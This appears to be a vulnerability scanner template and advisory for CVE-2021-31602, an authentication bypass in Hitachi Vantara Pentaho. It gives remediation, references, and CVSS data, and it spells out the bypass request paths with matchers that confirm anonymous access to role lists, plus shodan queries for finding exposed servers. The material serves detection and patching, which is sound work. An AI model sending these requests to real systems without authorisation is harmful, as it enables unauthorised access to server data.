Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
PoC
id: CVE-2021-31602
info:
name: Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass
author: pussycat0x
severity: high
description: Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the server.
remediation: |
Apply the latest security patches or updates provided by Hitachi Vantara to fix the authentication bypass vulnerability.
reference:
- https://seclists.org/fulldisclosure/2021/Nov/13
- https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
- https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
- https://www.hitachi.com/hirt/security/index.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31602
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-31602
cwe-id: CWE-287
epss-score: 0.51653
epss-percentile: 0.98887
cpe: cpe:2.3:a:hitachi:vantara_pentaho:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: hitachi
product: vantara_pentaho
shodan-query:
- Pentaho
- pentaho
tags: cve2021,cve,spring,seclists,pentaho,auth-bypass,hitachi,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
- "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<roleList>'
- '<roles>Anonymous</roles>'
condition: and
- type: status
status:
- 200
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